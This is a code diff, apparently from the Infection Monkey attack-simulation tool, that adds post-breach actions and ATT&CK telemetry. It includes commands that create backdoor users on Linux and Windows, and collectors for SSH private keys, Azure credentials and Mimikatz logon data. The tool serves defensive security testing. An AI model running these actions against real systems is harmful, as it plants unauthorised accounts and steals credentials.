class BackdoorUser(PBA):
def __init__(self):
super(BackdoorUser, self).__init__("Backdoor user",
linux_cmd=' '.join(LINUX_COMMANDS),
windows_cmd=WINDOWS_COMMANDS)
linux_cmds, windows_cmds = get_commands_to_add_user(
WormConfiguration.user_to_add,
WormConfiguration.remote_user_pass)
super(BackdoorUser, self).__init__(
POST_BREACH_BACKDOOR_USER,
linux_cmd=' '.join(linux_cmds),
windows_cmd=windows_cmds)

View File

@ -0,0 +1,143 @@
import logging
import os
import random
import string
import subprocess
import time
import win32event
from infection_monkey.utils.windows.auto_new_user import AutoNewUser, NewUserError
from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER
from infection_monkey.post_breach.pba import PBA
from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.linux.users import get_linux_commands_to_delete_user, get_linux_commands_to_add_user
PING_TEST_DOMAIN = "google.com"
PING_WAIT_TIMEOUT_IN_MILLISECONDS = 20 * 1000
CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT = "Created process '{}' as user '{}', and successfully pinged."
CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT = "Created process '{}' as user '{}', but failed to ping (exit status {})."
USERNAME = "somenewuser"
PASSWORD = "N3WPa55W0rD!1"
logger = logging.getLogger(__name__)
class CommunicateAsNewUser(PBA):
"""
This PBA creates a new user, and then pings google as that user. This is used for a Zero Trust test of the People
pillar. See the relevant telemetry processing to see what findings are created.
"""
def __init__(self):
super(CommunicateAsNewUser, self).__init__(name=POST_BREACH_COMMUNICATE_AS_NEW_USER)
def run(self):
username = CommunicateAsNewUser.get_random_new_user_name()
if is_windows_os():
self.communicate_as_new_user_windows(username)
else:
self.communicate_as_new_user_linux(username)
@staticmethod
def get_random_new_user_name():
return USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5))
def communicate_as_new_user_linux(self, username):
try:
# add user + ping
linux_cmds = get_linux_commands_to_add_user(username)
commandline = "ping -c 1 {}".format(PING_TEST_DOMAIN)
linux_cmds.extend([";", "sudo", "-u", username, commandline])
final_command = ' '.join(linux_cmds)
exit_status = os.system(final_command)
self.send_ping_result_telemetry(exit_status, commandline, username)
# delete the user, async in case it gets stuck.
_ = subprocess.Popen(
get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True)
# Leaking the process on purpose - nothing we can do if it's stuck.
except subprocess.CalledProcessError as e:
PostBreachTelem(self, (e.output, False)).send()
def communicate_as_new_user_windows(self, username):
# Importing these only on windows, as they won't exist on linux.
import win32con
import win32process
import win32api
try:
with AutoNewUser(username, PASSWORD) as new_user:
# Using os.path is OK, as this is on windows for sure
ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe")
if not os.path.exists(ping_app_path):
PostBreachTelem(self, ("{} not found.".format(ping_app_path), False)).send()
return # Can't continue without ping.
try:
# Open process as that user:
# https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera
commandline = "{} {} {} {}".format(ping_app_path, PING_TEST_DOMAIN, "-n", "1")
process_handle, thread_handle, _, _ = win32process.CreateProcessAsUser(
new_user.get_logon_handle(), # A handle to the primary token that represents a user.
None, # The name of the module to be executed.
commandline, # The command line to be executed.
None, # Process attributes
None, # Thread attributes
True, # Should inherit handles
win32con.NORMAL_PRIORITY_CLASS, # The priority class and the creation of the process.
None, # An environment block for the new process. If this parameter is NULL, the new process
# uses the environment of the calling process.
None, # CWD. If this parameter is NULL, the new process will have the same current drive and
# directory as the calling process.
win32process.STARTUPINFO() # STARTUPINFO structure.
# https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
)
logger.debug(
"Waiting for ping process to finish. Timeout: {}ms".format(PING_WAIT_TIMEOUT_IN_MILLISECONDS))
# Ignoring return code, as we'll use `GetExitCode` to determine the state of the process later.
_ = win32event.WaitForSingleObject( # Waits until the specified object is signaled, or time-out.
process_handle, # Ping process handle
PING_WAIT_TIMEOUT_IN_MILLISECONDS # Timeout in milliseconds
)
ping_exit_code = win32process.GetExitCodeProcess(process_handle)
self.send_ping_result_telemetry(ping_exit_code, commandline, username)
except Exception as e:
# If failed on 1314, it's possible to try to elevate the rights of the current user with the
# "Replace a process level token" right, using Local Security Policy editing.
PostBreachTelem(self, (
"Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send()
finally:
try:
win32api.CloseHandle(process_handle)
win32api.CloseHandle(thread_handle)
except Exception as err:
logger.error("Close handle error: " + str(err))
except subprocess.CalledProcessError as err:
PostBreachTelem(self, (
"Couldn't create the user '{}'. Error output is: '{}'".format(username, str(err)),
False)).send()
except NewUserError as e:
PostBreachTelem(self, (str(e), False)).send()
def send_ping_result_telemetry(self, exit_status, commandline, username):
"""
Parses the result of ping and sends telemetry accordingly.
:param exit_status: In both Windows and Linux, 0 exit code from Ping indicates success.
:param commandline: Exact commandline which was executed, for reporting back.
:param username: Username from which the command was executed, for reporting back.
"""
if exit_status == 0:
PostBreachTelem(self, (
CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT.format(commandline, username), True)).send()
else:
PostBreachTelem(self, (
CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT.format(commandline, username, exit_status), False)).send()

View File

@ -1,11 +1,15 @@
import os
import logging
from infection_monkey.utils import is_windows_os
from common.data.post_breach_consts import POST_BREACH_FILE_EXECUTION
from infection_monkey.utils.environment import is_windows_os
from infection_monkey.post_breach.pba import PBA
from infection_monkey.control import ControlClient
from infection_monkey.config import WormConfiguration
from infection_monkey.utils import get_monkey_dir_path
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit.tools.helpers import get_interface_to_target
LOG = logging.getLogger(__name__)
@ -24,7 +28,7 @@ class UsersPBA(PBA):
Defines user's configured post breach action.
"""
def __init__(self):
super(UsersPBA, self).__init__("File execution")
super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
self.filename = ''
if not is_windows_os():
# Add linux commands to PBA's
@ -79,9 +83,22 @@ class UsersPBA(PBA):
pba_file_contents = ControlClient.get_pba_file(filename)
status = None
if not pba_file_contents or not pba_file_contents.content:
LOG.error("Island didn't respond with post breach file.")
status = ScanStatus.SCANNED
if not status:
status = ScanStatus.USED
T1105Telem(status,
WormConfiguration.current_server.split(':')[0],
get_interface_to_target(WormConfiguration.current_server.split(':')[0]),
filename).send()
if status == ScanStatus.SCANNED:
return False
try:
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
written_PBA_file.write(pba_file_contents.content)

View File

@ -1,16 +1,18 @@
import logging
import subprocess
import socket
from infection_monkey.control import ControlClient
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
from infection_monkey.utils import is_windows_os
from infection_monkey.utils.environment import is_windows_os
from infection_monkey.config import WormConfiguration
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)"
class PBA(object):
"""
@ -19,7 +21,8 @@ class PBA(object):
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
"""
:param name: Name of post breach action.
:param command: Command that will be executed on breached machine
:param linux_cmd: Command that will be executed on breached machine
:param windows_cmd: Command that will be executed on breached machine
"""
self.command = PBA.choose_command(linux_cmd, windows_cmd)
self.name = name
@ -46,15 +49,36 @@ class PBA(object):
"""
exec_funct = self._execute_default
result = exec_funct()
if self.scripts_were_used_successfully(result):
T1064Telem(ScanStatus.USED, "Scripts were used to execute %s post breach action." % self.name).send()
PostBreachTelem(self, result).send()
def is_script(self):
"""
Determines if PBA is a script (PBA might be a single command)
:return: True if PBA is a script(series of OS commands)
"""
return isinstance(self.command, list) and len(self.command) > 1
def scripts_were_used_successfully(self, pba_execution_result):
"""
Determines if scripts were used to execute PBA and if they succeeded
:param pba_execution_result: result of execution function. e.g. self._execute_default
:return: True if scripts were used, False otherwise
"""
pba_execution_succeeded = pba_execution_result[1]
return pba_execution_succeeded and self.is_script()
def _execute_default(self):
"""
Default post breach command execution routine
:return: Tuple of command's output string and boolean, indicating if it succeeded
"""
try:
return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True
output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True)
if not output:
output = EXECUTION_WITHOUT_OUTPUT
return output, True
except subprocess.CalledProcessError as e:
# Return error output of the command
return e.output, False

View File

@ -3,7 +3,7 @@ import inspect
import importlib
from infection_monkey.post_breach.pba import PBA
from infection_monkey.post_breach.actions import get_pba_files
from infection_monkey.utils import is_windows_os
from infection_monkey.utils.environment import is_windows_os
LOG = logging.getLogger(__name__)
@ -25,8 +25,12 @@ class PostBreach(object):
Executes all post breach actions.
"""
for pba in self.pba_list:
pba.run()
LOG.info("Post breach actions executed")
try:
LOG.debug("Executing PBA: '{}'".format(pba.name))
pba.run()
except Exception as e:
LOG.error("PBA {} failed. Error info: {}".format(pba.name, e))
LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list)))
@staticmethod
def config_to_pba_list():
@ -45,7 +49,9 @@ class PostBreach(object):
if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))]
# Get post breach action object from class
for pba_class in pba_classes:
LOG.debug("Checking if should run PBA {}".format(pba_class.__name__))
if pba_class.should_run(pba_class.__name__):
pba = pba_class()
pba_list.append(pba)
LOG.debug("Added PBA {} to PBA list".format(pba_class.__name__))
return pba_list

View File

@ -62,7 +62,7 @@ a. Build sambacry binaries yourself
a.1. Install gcc-multilib if it's not installed
sudo apt-get install gcc-multilib
a.2. Build the binaries
cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner
cd [code location]/infection_monkey/exploit/sambacry_monkey_runner
./build.sh
b. Download our pre-built sambacry binaries

View File

@ -1,10 +1,7 @@
enum34
impacket
pycryptodome
pyasn1
cffi
twisted
rdpy
requests
odict
paramiko

View File

@ -1,9 +1,7 @@
enum34
impacket
pycryptodome
pyasn1
cffi
twisted
requests
odict
paramiko

View File

@ -3,6 +3,9 @@ import pwd
import os
import glob
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
@ -71,6 +74,7 @@ class SSHCollector(object):
if private_key.find('ENCRYPTED') == -1:
info['private_key'] = private_key
LOG.info("Found private key in %s" % private)
T1005Telem(ScanStatus.USED, 'SSH key', "Path: %s" % private).send()
else:
continue
except (IOError, OSError):

View File

@ -5,6 +5,10 @@ import json
import glob
import subprocess
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
@ -54,6 +58,8 @@ class AzureCollector(object):
decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE)
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
decrypt_data = json.loads(decrypt_raw)
T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
T1064Telem(ScanStatus.USED, 'Bash scripts used to extract azure credentials.').send()
return decrypt_data['username'], decrypt_data['password']
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
@ -92,6 +98,8 @@ class AzureCollector(object):
# this is disgusting but the alternative is writing the file to disk...
password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
password = json.loads(password_raw)["Password"]
T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
T1064Telem(ScanStatus.USED, 'Powershell scripts used to extract azure credentials.').send()
return username, password
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")

View File

@ -5,7 +5,9 @@ import socket
import zipfile
import infection_monkey.config
from common.utils.attack_utils import ScanStatus, UsageEnum
from infection_monkey.telemetry.attack.t1129_telem import T1129Telem
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
__author__ = 'itay.mizeretz'
@ -49,8 +51,12 @@ class MimikatzCollector(object):
self._get = get_proto(("get", self._dll))
self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll))
self._isInit = True
status = ScanStatus.USED
except Exception:
LOG.exception("Error initializing mimikatz collector")
status = ScanStatus.SCANNED
T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send()
T1129Telem(status, UsageEnum.MIMIKATZ).send()
def get_logon_info(self):
"""
@ -67,7 +73,7 @@ class MimikatzCollector(object):
logon_data_dictionary = {}
hostname = socket.gethostname()
self.mimikatz_text = self._get_text_output_proto()
for i in range(entry_count):
@ -102,7 +108,7 @@ class MimikatzCollector(object):
except Exception:
LOG.exception("Error getting logon info")
return {}
def get_mimikatz_text(self):
return self.mimikatz_text

View File

@ -63,5 +63,6 @@ class WindowsInfoCollector(InfoCollector):
if "credentials" in self.info:
self.info["credentials"].update(mimikatz_info)
self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
LOG.info('Mimikatz info gathered successfully')
else:
LOG.info('No mimikatz info was gathered')

View File

@ -5,6 +5,7 @@ from abc import ABCMeta, abstractmethod
from infection_monkey.config import WormConfiguration
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
@ -41,20 +42,17 @@ class WindowsSystemSingleton(_SystemSingleton):
ctypes.c_bool(True),
ctypes.c_char_p(self._mutex_name))
last_error = ctypes.windll.kernel32.GetLastError()
if not handle:
LOG.error("Cannot acquire system singleton %r, unknown error %d",
self._mutex_name, last_error)
return False
if winerror.ERROR_ALREADY_EXISTS == last_error:
LOG.debug("Cannot acquire system singleton %r, mutex already exist",
self._mutex_name)
return False
self._mutex_handle = handle
LOG.debug("Global singleton mutex %r acquired",
self._mutex_name)
@ -62,7 +60,6 @@ class WindowsSystemSingleton(_SystemSingleton):
def unlock(self):
assert self._mutex_handle is not None, "Singleton not locked"
ctypes.windll.kernel32.CloseHandle(self._mutex_handle)
self._mutex_handle = None

View File

@ -0,0 +1,22 @@
from infection_monkey.telemetry.attack.attack_telem import AttackTelem
class T1005Telem(AttackTelem):
def __init__(self, status, gathered_data_type, info=""):
"""
T1005 telemetry.
:param status: ScanStatus of technique
:param gathered_data_type: Type of data collected from local system
:param info: Additional info about data
"""
super(T1005Telem, self).__init__('T1005', status)
self.gathered_data_type = gathered_data_type
self.info = info
def get_data(self):
data = super(T1005Telem, self).get_data()
data.update({
'gathered_data_type': self.gathered_data_type,
'info': self.info
})
return data

View File

@ -0,0 +1,11 @@
from infection_monkey.telemetry.attack.usage_telem import UsageTelem
class T1035Telem(UsageTelem):
def __init__(self, status, usage):
"""
T1035 telemetry.
:param status: ScanStatus of technique
:param usage: Enum of UsageEnum type
"""
super(T1035Telem, self).__init__('T1035', status, usage)

View File

@ -0,0 +1,19 @@
from infection_monkey.telemetry.attack.usage_telem import AttackTelem
class T1064Telem(AttackTelem):
def __init__(self, status, usage):
"""
T1064 telemetry.
:param status: ScanStatus of technique
:param usage: Usage string
"""
super(T1064Telem, self).__init__('T1064', status)
self.usage = usage
def get_data(self):
data = super(T1064Telem, self).get_data()
data.update({
'usage': self.usage
})
return data

View File

@ -0,0 +1,25 @@
from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem
class T1105Telem(AttackTelem):
def __init__(self, status, src, dst, filename):
"""
T1105 telemetry.
:param status: ScanStatus of technique
:param src: IP of machine which uploaded the file
:param dst: IP of machine which downloaded the file
:param filename: Uploaded file's name
"""
super(T1105Telem, self).__init__('T1105', status)
self.filename = filename
self.src = src
self.dst = dst
def get_data(self):
data = super(T1105Telem, self).get_data()
data.update({
'filename': self.filename,
'src': self.src,
'dst': self.dst
})
return data

View File

@ -0,0 +1,11 @@
from infection_monkey.telemetry.attack.usage_telem import UsageTelem
class T1106Telem(UsageTelem):
def __init__(self, status, usage):
"""
T1106 telemetry.
:param status: ScanStatus of technique
:param usage: Enum name of UsageEnum
"""
super(T1106Telem, self).__init__("T1106", status, usage)

View File

@ -0,0 +1,19 @@
from infection_monkey.telemetry.attack.attack_telem import AttackTelem
class T1107Telem(AttackTelem):
def __init__(self, status, path):
"""
T1107 telemetry.
:param status: ScanStatus of technique
:param path: Path of deleted dir/file
"""
super(T1107Telem, self).__init__('T1107', status)
self.path = path
def get_data(self):
data = super(T1107Telem, self).get_data()
data.update({
'path': self.path
})
return data

View File

@ -0,0 +1,11 @@
from infection_monkey.telemetry.attack.usage_telem import UsageTelem
class T1129Telem(UsageTelem):
def __init__(self, status, usage):
"""
T1129 telemetry.
:param status: ScanStatus of technique
:param usage: Enum of UsageEnum type
"""
super(T1129Telem, self).__init__("T1129", status, usage)

View File

@ -0,0 +1,20 @@
from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
class T1222Telem(VictimHostTelem):
def __init__(self, status, command, machine):
"""
T1222 telemetry.
:param status: ScanStatus of technique
:param command: command used to change permissions
:param machine: VictimHost type object
"""
super(T1222Telem, self).__init__('T1222', status, machine)
self.command = command
def get_data(self):
data = super(T1222Telem, self).get_data()
data.update({
'command': self.command
})
return data

View File

@ -0,0 +1,20 @@
from infection_monkey.telemetry.attack.attack_telem import AttackTelem
class UsageTelem(AttackTelem):
def __init__(self, technique, status, usage):
"""
:param technique: Id of technique
:param status: ScanStatus of technique
:param usage: Enum of UsageEnum type
"""
super(UsageTelem, self).__init__(technique, status)
self.usage = usage.name
def get_data(self):
data = super(UsageTelem, self).get_data()
data.update({
'usage': self.usage
})
return data

View File

@ -1,7 +1,11 @@
import abc
import json
import logging
from infection_monkey.control import ControlClient
logger = logging.getLogger(__name__)
__author__ = 'itay.mizeretz'
@ -17,7 +21,9 @@ class BaseTelem(object, metaclass=abc.ABCMeta):
"""
Sends telemetry to island
"""
ControlClient.send_telemetry(self.telem_category, self.get_data())
data = self.get_data()
logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data)))
ControlClient.send_telemetry(self.telem_category, data)
@abc.abstractproperty
def telem_category(self):

View File

@ -1,22 +1,22 @@
import http.server
import BaseHTTPServer
import os.path
import select
import socket
import threading
import urllib.request, urllib.parse, urllib.error
import urllib
from logging import getLogger
from urllib.parse import urlsplit
from threading import Lock
from urlparse import urlsplit
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
from infection_monkey.exploit.tools.helpers import get_interface_to_target
__author__ = 'hoffer'
LOG = getLogger(__name__)
class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
filename = ""
@ -61,7 +61,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
f.close()
def send_head(self):
if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)):
if self.path != '/' + urllib.quote(os.path.basename(self.filename)):
self.send_error(500, "")
return None, 0, 0
f = None
@ -106,7 +106,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
format % args))
class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
timeout = 30 # timeout with clients, set to None not to make persistent connection
proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
protocol_version = "HTTP/1.1"
@ -165,17 +165,24 @@ class HTTPServer(threading.Thread):
def run(self):
class TempHandler(FileServHTTPRequestHandler):
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
filename = self._filename
@staticmethod
def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
TempHandler.T1105Telem(TempHandler.ScanStatus.USED,
get_interface_to_target(dest[0]),
dest[0],
self._filename).send()
self.downloads += 1
if not self.downloads < self.max_downloads:
return True
return False
httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
httpd.timeout = 0.5 # this is irrelevant?
while not self._stopped and self.downloads < self.max_downloads:
@ -212,17 +219,23 @@ class LockedHTTPServer(threading.Thread):
def run(self):
class TempHandler(FileServHTTPRequestHandler):
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
filename = self._filename
@staticmethod
def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
TempHandler.T1105Telem(TempHandler.ScanStatus.USED,
get_interface_to_target(dest[0]),
dest[0],
self._filename).send()
self.downloads += 1
if not self.downloads < self.max_downloads:
return True
return False
httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
self.lock.release()
while not self._stopped and self.downloads < self.max_downloads:
httpd.handle_request()
@ -236,7 +249,7 @@ class LockedHTTPServer(threading.Thread):
class HTTPConnectProxy(TransportProxyBase):
def run(self):
httpd = http.server.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
httpd.timeout = 30
while not self._stopped:
httpd.handle_request()

View File

@ -9,7 +9,7 @@ from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import local_ips, get_free_tcp_port
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.transport.base import get_last_serve_time
from infection_monkey.exploit.tools import get_interface_to_target
from infection_monkey.exploit.tools.helpers import get_interface_to_target
__author__ = 'hoffer'

View File

@ -1,57 +0,0 @@
import os
import shutil
import struct
import sys
import tempfile
from infection_monkey.config import WormConfiguration
def get_monkey_log_path():
return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \
else WormConfiguration.monkey_log_path_linux
def get_dropper_log_path():
return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
else WormConfiguration.dropper_log_path_linux
def is_64bit_windows_os():
"""
Checks for 64 bit Windows OS using environment variables.
"""
return 'PROGRAMFILES(X86)' in os.environ
def is_64bit_python():
return struct.calcsize("P") == 8
def is_windows_os():
return sys.platform.startswith("win")
def utf_to_ascii(string):
# Converts utf string to ascii. Safe to use even if string is already ascii.
udata = string.decode("utf-8")
return udata.encode("ascii", "ignore")
def create_monkey_dir():
"""
Creates directory for monkey and related files
"""
if not os.path.exists(get_monkey_dir_path()):
os.mkdir(get_monkey_dir_path())
def remove_monkey_dir():
"""
Removes monkey's root directory
"""
shutil.rmtree(get_monkey_dir_path(), ignore_errors=True)
def get_monkey_dir_path():
return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name)

View File

@ -0,0 +1,18 @@
import os
import struct
import sys
def is_64bit_windows_os():
"""
Checks for 64 bit Windows OS using environment variables.
"""
return 'PROGRAMFILES(X86)' in os.environ
def is_64bit_python():
return struct.calcsize("P") == 8
def is_windows_os():
return sys.platform.startswith("win")

View File

@ -0,0 +1,21 @@
import datetime
def get_linux_commands_to_add_user(username):
return [
'useradd',
'-M', # Do not create homedir
'--expiredate',
datetime.datetime.today().strftime('%Y-%m-%d'),
'--inactive',
'0',
'-c', # Comment
'MONKEY_USER', # Comment
username]
def get_linux_commands_to_delete_user(username):
return [
'deluser',
username
]

View File

@ -0,0 +1,29 @@
import os
import shutil
import tempfile
from infection_monkey.config import WormConfiguration
def create_monkey_dir():
"""
Creates directory for monkey and related files
"""
if not os.path.exists(get_monkey_dir_path()):
os.mkdir(get_monkey_dir_path())
def remove_monkey_dir():
"""
Removes monkey's root directory
:return True if removed without errors and False otherwise
"""
try:
shutil.rmtree(get_monkey_dir_path())
return True
except Exception:
return False
def get_monkey_dir_path():
return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name)

View File

@ -0,0 +1,14 @@
import os
import sys
from infection_monkey.config import WormConfiguration
def get_monkey_log_path():
return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \
else WormConfiguration.monkey_log_path_linux
def get_dropper_log_path():
return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
else WormConfiguration.dropper_log_path_linux

View File

@ -0,0 +1,10 @@
from infection_monkey.utils.linux.users import get_linux_commands_to_add_user
from infection_monkey.utils.windows.users import get_windows_commands_to_add_user
def get_commands_to_add_user(username, password):
linux_cmds = get_linux_commands_to_add_user(username)
windows_cmds = get_windows_commands_to_add_user(username, password)
return linux_cmds, windows_cmds

View File

@ -0,0 +1,69 @@
import logging
import subprocess
from infection_monkey.post_breach.actions.add_user import BackdoorUser
from infection_monkey.utils.windows.users import get_windows_commands_to_delete_user, get_windows_commands_to_add_user
logger = logging.getLogger(__name__)
class NewUserError(Exception):
pass
class AutoNewUser(object):
"""
RAII object to use for creating and using a new user in Windows. Use with `with`.
User will be created when the instance is instantiated.
User will log on at the start of the `with` scope.
User will log off and get deleted at the end of said `with` scope.
Example:
# Created # Logged on
with AutoNewUser("user", "pass") as new_user:
...
...
# Logged off and deleted
...
"""
def __init__(self, username, password):
"""
Creates a user with the username + password.
:raises: subprocess.CalledProcessError if failed to add the user.
"""
self.username = username
self.password = password
windows_cmds = get_windows_commands_to_add_user(self.username, self.password, True)
_ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True)
def __enter__(self):
# Importing these only on windows, as they won't exist on linux.
import win32security
import win32con
try:
# Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera
self.logon_handle = win32security.LogonUser(
self.username,
".", # Use current domain.
self.password,
win32con.LOGON32_LOGON_INTERACTIVE, # Logon type - interactive (normal user).
win32con.LOGON32_PROVIDER_DEFAULT) # Which logon provider to use - whatever Windows offers.
except Exception as err:
raise NewUserError("Can't logon as {}. Error: {}".format(self.username, str(err)))
return self
def get_logon_handle(self):
return self.logon_handle
def __exit__(self, exc_type, exc_val, exc_tb):
# Logoff
self.logon_handle.Close()
# Try to delete user
try:
_ = subprocess.Popen(
get_windows_commands_to_delete_user(self.username), stderr=subprocess.STDOUT, shell=True)
except Exception as err:
raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err))

View File

@ -0,0 +1,18 @@
def get_windows_commands_to_add_user(username, password, should_be_active=False):
windows_cmds = [
'net',
'user',
username,
password,
'/add']
if not should_be_active:
windows_cmds.append('/ACTIVE:NO')
return windows_cmds
def get_windows_commands_to_delete_user(username):
return [
'net',
'user',
username,
'/delete']

View File

@ -8,9 +8,9 @@ import time
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.config import WormConfiguration
from infection_monkey.control import ControlClient
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS
from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python
from infection_monkey.utils.environment import is_windows_os, is_64bit_windows_os, is_64bit_python
__author__ = 'itay.mizeretz'

View File

@ -23,7 +23,7 @@ from monkey_island.cc.resources.monkey_download import MonkeyDownload
from monkey_island.cc.resources.netmap import NetMap
from monkey_island.cc.resources.node import Node
from monkey_island.cc.resources.remote_run import RemoteRun
from monkey_island.cc.resources.report import Report
from monkey_island.cc.resources.reporting.report import Report
from monkey_island.cc.resources.root import Root
from monkey_island.cc.resources.telemetry import Telemetry
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
@ -122,7 +122,13 @@ def init_api_resources(api):
api.add_resource(NetMap, '/api/netmap', '/api/netmap/')
api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/')
api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/')
api.add_resource(Report, '/api/report', '/api/report/')
# report_type: zero_trust or security
api.add_resource(
Report,
'/api/report/<string:report_type>',
'/api/report/<string:report_type>/<string:report_data>')
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
api.add_resource(Log, '/api/log', '/api/log/')
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')

View File

@ -1,5 +1,4 @@
from monkey_island.cc.environment import Environment
import monkey_island.cc.auth
class TestingEnvironment(Environment):
@ -7,11 +6,5 @@ class TestingEnvironment(Environment):
super(TestingEnvironment, self).__init__()
self.testing = True
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \
'8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'
def get_auth_users(self):
return [
monkey_island.cc.auth.User(1, self.NO_AUTH_CREDS, self.NO_AUTH_CREDS)
]
return []

View File

@ -19,7 +19,7 @@ json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'isla
logger = logging.getLogger(__name__)
from monkey_island.cc.app import init_app
from monkey_island.cc.exporter_init import populate_exporter_list
from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list
from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.environment.environment import env
from monkey_island.cc.database import is_db_server_up, get_db_version

View File

@ -12,8 +12,9 @@ else:
connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
# Order of importing matters here, for registering the embedded and referenced documents before using them.
from .config import Config
from .creds import Creds
from .monkey_ttl import MonkeyTtl
from .pba_results import PbaResults
from .monkey import Monkey
from config import Config
from creds import Creds
